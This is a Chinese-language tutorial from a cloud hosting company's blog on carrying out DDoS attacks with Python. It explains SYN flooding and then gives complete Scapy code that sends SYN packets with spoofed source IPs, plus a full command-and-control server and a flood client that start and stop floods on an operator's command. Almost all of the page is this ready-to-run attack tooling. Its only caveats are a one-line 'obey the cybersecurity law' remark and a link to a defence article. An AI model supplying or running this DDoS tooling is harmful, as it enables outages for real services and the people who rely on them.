新睿云

> DDoS高防云服务器 > python如何进行ddos攻击?

python如何进行ddos攻击?

作者/来源:新睿云小编 发布时间:2019-08-09

SYN泛洪攻击

SYN泛洪攻擊是一种比较常用的Dos方式之一。通过传送大量伪造的TCP连线请求,使被攻击主机资源耗尽(通常是CPU满负荷或记忆体不足)的攻击方式

我们都知道建立TCP连线需要三次握手。正常情况下客户端首先向伺服器端传送SYN報文,随后服务端返回以SYN+ACK报文,最后客户端向服务端传送ACK报文完成三次握手

ddos1

而SYN泛洪攻擊则是客户端向伺服器传送SYN報文之后就不再响应伺服器回应的报文。由于伺服器在处理TCP请求时,会在协议栈留一块缓冲区来储存握手的过程,当然如果超过一定时间内没有接收到客户端的报文,本次连线在协议栈中储存的资料将会被丢弃。攻击者如果利用这段时间传送大量的连线请求,全部挂起在半連線狀態。这样将不断消耗伺服器资源,直到拒絕服務

Scapy3k基本用法

Scapy3k其实就是Scapy的Python3版本,以下简称Scapy。Scapy是一个强大的互动式资料包处理程式。可用来发送、嗅探、解析和伪造网路资料包。在网路攻击和渗透测试重应用非常广泛。Scapy是一个独立的程式同时还可以作为Python的第三方库使用

首先安装Scapy3k,Windows不方便,下面的操作我都是在Linux中进行的

sudo pip install scapy

ddos2

执行scapy

sudo scapy

ddos3

因为Scapy传送资料包需要root许可权,所以这里加上sudo。另外执行的时候会出现一些警告资讯,因为没有安装相应的依赖包,不过暂时用不到,所以不用管

接下来我们用Scapy构造一个简单的资料包

pkt = IP(dst = "192.168.50.10" )

ddos4

接下来构造SYN资料包,并发送出去

pkt = IP(src = "125.4.2.1" ,dst= "192.168.50.10" )/TCP(dport=80,flags= "S" ) send(pkt)

我们构造了一个IP包和TCP包,并将它们组合到一块,这样就有了一个完整的TCP资料包,否则是无法传送出去的。IP包中我们指定了源地址src和目的地址dst,其中src是我们伪造的地址,这也是保护攻击者的一种方式。flags的值设定为S,说明我们要传送的是一个SYN资料包。非常简单的一段指令就够早了一个伪造了源IP地址的SYN资料包

ddos5

程式码实现

现在我们要用Python以第三方库的形式使用Scapy,使用方法和用互动式Shell的方式一样

前面我们构造了SYN资料包,现在需要实现随机伪造源IP地址、以及不同的源埠向目标主机发送SYN资料包:

import random from scapy.all import * def synFlood (tgt,dPort) : srcList = [ '201.1.1.2' , '10.1.1.102' , '69.1.1.2' , '125.130.5.199' ] for sPort in range( 1024 , 65535 ): index = random.randrange( 4 ) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport = dPort, flags= "S" ) packet = ipLayer / tcpLayer send(packet)

DDos实现思路

前面我们已经实现了SYN泛洪攻擊,而DDos则是多台主机一起发起攻击,我们只需要能传送命令,让连线到伺服器的客户端一起向同一目标发起攻击就可以了

世界最大的黑客组织Anonymous经常使用LOIC(low Orbit Ion Cannon,滴軌道離子炮)进行大规模的DDos。LOIC有个HIVEMIND模式,使用者可以通过连线到一台IRC伺服器,当有使用者传送命令,任何以HIVEMIND模式连线到IRC伺服器的成员都会立即攻击该目标

这种方式的优点事不需要傀儡机,可以有很多"志同道合"的人一起帮助你实现DDos,不过不太适合在傀儡机中使用。当然实现思路有很多,根据不同情况的选择也会不同。而这里我们将采用客户端、伺服器的方式来实现DDos,这种方式非常简单,可扩充套件性也比较强

ddos6

argparse模组

由于Server端需要传送命令去控制Client端发起攻击,所以这里我们先规定好命令格式

#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>

-H后面是被攻击主机的IP地址,-p指定被攻击的埠号,-c控制攻击的开始与停止

命令制定好了,接下来看一下如何使用命令解析库argparse

# Import argparse package import argparse # New ArgumentParser object parser = argparse.ArgumentParser(description= "Process some integers." ) # Add parameter parser.add_argument( '-p' , dest= 'port' , type = int, help = 'An port number!' ) # Parse command line arguments args = parser.parse_args() print ( "Port:" ,args.port)

上面的程式码中,我们建立了一个ArgumentParser物件,description引数是对命令列解析的一个描述资讯,通常在我们使用-h命令的时候显示。add_argument新增我们要解析的引数,这里我们只添加了一个-p引数,dest是通过parse_args()函式返回的物件中的一个属性名称。type就是解析引数的型别。help指定的字串是为了生成帮助资讯。argparse预设就支援-h引数,只要我们在新增引数的时候指定help的值就可以生成帮助资讯了

socket模组

Python中的socket提供了访问BSDsocket的介面,可以非常方便的实现网路中的资讯交换。通常我们使用socket的时候需要指定ip地址、埠號、協議型別。在进行socket程式设计之前我们先了解一下客戶端(Client)和伺服器(Server)的概念。通俗的讲,主动发起连线请求的称为客戶端,监听埠响应连线的称为伺服器。下面我写一个客户端和伺服器的例子:

客户端

# Import socket package import socket # Create socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Establish connection s.connect(('192.168.0.100', 7786))

上面这个例子我们首先汇入socket库,然后建立了一个socket物件,socket物件中的引数AF_INET表示我们使用的是IPV4协议,SOCK_STREAM则表示我们使用的是基于流的TCP协议。最后我们指定ip地址和埠號建立连线

伺服器

# Import socket package import socket cliList = [] # Create socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Specify IP & Port s.bind(('0.0.0.0', 7786)) # Strat monitor s.listen(10) while True: # Receive a new connection sock, addr = s.accept() # Add sock to the list cliList.append(sock)

伺服器的写法比客户端稍微复杂一些,在建立完socket之后,要系结一个地址和埠,这里的0.0.0.0表示系结到所有的网路地址,埠号只要是没被占用的就可以。之后开始监听埠,并在引数中指定最大连线数为10。最后回圈等待新的连线,并将已连线的socket物件新增到列表中。更多相关细节可以检视Python官方文件

程式码实现

Server端

由于Server端能等待Client主动连线,所以我们在Server端传送命令,控制Client端发起SYN泛洪攻擊

在主函式中我们建立socket,系结所有網路地址和58868埠并开始监听,之后我们新开一个执行绪来等待客户端的连线,以免阻塞我们输入命令

def main () : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(( '0.0.0.0' , 58868 )) s.listen( 1024 ) t = Thread(target=waitConnect,args(s,)) t.start()

由于我们要给所有客户端传送命令,所以我们在新开的执行绪中将连线进来的socket新增到一个list中,这个稍后介绍,但在主函式中我们第一次输入命令之前需要至少有一个客户端连结到伺服器,所以这里我判断了一下socket的长度

print( 'Wait at least a client connection!' ) while not len(socketList): pass print( 'It has been a client connection!' )

现在回圈等待输入命令,输入之后判断命令是否满足命令格式的基本要求,如果满足,就把命令传送给所有客户端

while True : print ( "=" * 50 ) print ( 'The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"' ) # Wait for input command cmd_str = input( 'Please input cmd:' ) if len(cmd_str): if cmd_str[ 0 ] == '#' : sendCmd(cmd_str)

现在程式的大体框架已经有了,接下来编写主函式中没有完成的子功能。首先我们应该实现等待客户端的函式,方便开启新的执行绪

在这个函式中,我们只需要回圈等待客户端的连线就可以,新连线的socket要判断一下是否在socketList中已经储存过了,如果没有,就新增到socketList中

# wait connection def waitConnect (s) : while True : sock, addr = s.accept() if sock not in socketList: socketList.append(socket)

我们再来实现传送命令的函式,这个函式会遍历socketList,将每个socket都呼叫一次send将命令传送出去

# send command def sendCmd (cmd) : print( "Send command......" ) for sock in socketList: sock.send(cmd.encode = ( 'UTF-8' ))

至此我们的Server端就完成了。新建一个档案,将其命名为ddosSrv.py,向其中新增如下程式码

import socket import argparse from threading import Thread socketList = [] # Command format '#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>' # Send command def sendCmd (cmd) : print( "Send command......" ) for sock in socketList: sock.send(cmd.encode( 'UTF-8' )) # Wait connect def waitConnect (s) : while True : sock, addr = s.accept() if sock not in socketList: socketList.append(sock) def main () : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(( '0.0.0.0' , 58868 )) s.listen( 1024 ) t = Thread(target = waitConnect, args = (s, )) t.start() print( 'Wait at least a client connection!' ) while not len(socketList): pass print( 'It has been a client connection!' ) while True : print( '=' * 50 ) print( 'The command format:"#-H xxx.xxx.xxx.xxx -p xxx -c <start>"' ) # Wait for input command cmd_str = input( "Please input cmd:" ) if len(cmd_str): if cmd_str[ 0 ] == '#' : sendCmd(cmd_str) if __name__ == '__main__' : main()

Client端

我们将在Client端实现对主机的SYN泛洪攻击,并在指令码启动后主动连线Server端,等待Server端传送命令

在主函式中我们先建立ArgumentParser()物件,并将需要解析的命令引数新增好

def main(): p = argparse.ArgumentParser() p.add_argument( '-H' , dest = 'host' , type = str) p.add_argument( '-p' , dest = 'port' , type = int) p.add_argument( '-c' , dest = 'cmd' , type = str)

现在可以建立socket,连线伺服器了。这里为了测试,我们连线到本地的58868埠

try : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(( '127.0.0.1' , 58868 )) print ( 'To connected server was success!' ) print ( '=' * 50 ) cmdHandle(s, p) except: print ( 'The network connected failed!' ) print ( 'Please restart the script!' ) sys. exit ( 0 )

我们将接受命令和处理命令定义在一个单独的函式中。这里我们使用一个全域性变数,用于判断是否有程序正在发起SYN泛洪攻擊。之后就开始回圈接收命令了,接收道德资料是byte型,我们需要对其进行解码,解码之后才是字串。如果接收到的资料长度为0,就跳过后续的内容,重新接收资料

# Process command def cmdHandle (sock, parser) : global curProcess while True : # Receive command data = sock.recv( 1024 ).decode( 'UTF-8' ) if len(data) == 0 : print( 'The data is empty' ) continue ;

如果资料长度不为0,就判断是否具有命令基本格式的特征#,满足基本条件就需要用ArgumentParser物件来解析命令

if data[ 0 ] == '#' : try : # Parse command options = parser.parse_args(data[ 1 :].split()) m_host = options.host m_port = options.port m_cmd = options.cmd

命令引数解析出来后,还需要判断到底是start命令还是stop命令。如果是start命令,首先要判断当前是否有程序在执行,如果有程序判断程序是否存活。如果当前有程序正在发起SYN泛洪攻擊,我们就先结束这个程序,并清空萤幕,然后再启动一个程序,发起SYN泛洪攻击

# DDos start command if m_cmd.lower() == 'start' : if curProcess != None and curprocess.is_alive(): # End of process curProcess.terminate() curProcess = None os.system( 'clear' ) print( 'The synFlood is start' ) p = Process(target = synFlood, args = (m_host, m_port)) p.start() curProcess = p

如果命令是stop,并且有程序存活,就直接结束这个程序,并清空萤幕,否则就什么也不做

# DDos stop command elif m_cmd.lower() == 'stop' : if curProcess.is_alive(): curProcess.terminate() os.system( 'clear' ) except : print( 'Failed to perform the command!' )

最后,新建一个档案,命名为ddosCli.py,向其中新增如下程式码

# -*- coding: utf-8 -*- import sys import socket import random import argparse from multiprocessing import Process from scapy.all import * import os isWorking = False curProcess = None # SYN flood attack def synFlood (tgt,dPort) : print( '=' * 100 ) print( 'The syn flood is running!' ) print( '=' * 100 ) srcList = [ '201.1.1.2' , '10.1.1.102' , '69.1.1.2' , '125.130.5.199' ] for sPort in range( 1024 , 65535 ): index = random.randrange( 4 ) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags= "S" ) packet = ipLayer / tcpLayer send(packet) # Command format '#-H xxx.xxx.xxx.xxx -p xxxx -c <start>' # Process command def cmdHandle (sock,parser) : global curProcess while True : # Receive command data = sock.recv( 1024 ) .decode( 'utf-8' ) if len(data) == 0 : print( 'The data is empty' ) return if data[ 0 ] == '#' : try : # Parse command options = parser.parse_args(data[ 1 :].split()) m_host = options.host m_port = options.port m_cmd = options.cmd # DDos start command if m_cmd.lower() == 'start' : if curProcess != None and curProcess.is_alive(): curProcess.terminate() curProcess = None os.system( 'clear' ) print( 'The synFlood is start' ) p = Process(target=synFlood,args=(m_host,m_port)) p.start() curProcess = p # DDos stop command elif m_cmd.lower() == 'stop' : if curProcess.is_alive(): curProcess.terminate() os.system( 'clear' ) except : print( 'Failed to perform the command!' ) def main () : # Add commands that need to be parsed p = argparse.ArgumentParser() p.add_argument( '-H' , dest= 'host' , type=str) p.add_argument( '-p' , dest= 'port' , type=int) p.add_argument( '-c' , dest= 'cmd' , type=str) print( "*" * 40 ) try : # Create socket object s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # Connect to Server s.connect(( '127.0.0.1' , 58868 )) print( 'To connected server was success!' ) print( "=" * 40 ) # Process command cmdHandle(s,p) except : print( 'The network connected failed!' ) print( 'Please restart the script!' ) sys.exit( 0 ) if __name__ == '__main__' : main()

程式测试

首先执行Server端指令码:

sudo python3 ddosSrv .py

然后再执行Client端指令码,一定要用root许可权执行

此时可以看到Client端已经提示连线成功了

ddos7

Server端也提示有一个客户端连线了

ddos8

输入一个命令测试一下,这里我以我自己的部落格为目标进行测试,各位请遵守网路安全法

ddos9

看到Client端已经开始传送资料包了,说明已经发起了SYN泛洪攻擊

想了解更多相关知识请阅读《ddos预防?这一文道尽防御办法

热门标签
new year
在线咨询
咨询热线 400-1515-720
投诉与建议
{{item.description}}

—您的烦恼我们已经收到—

我们会将处理结果发送至您的手机

请耐心等待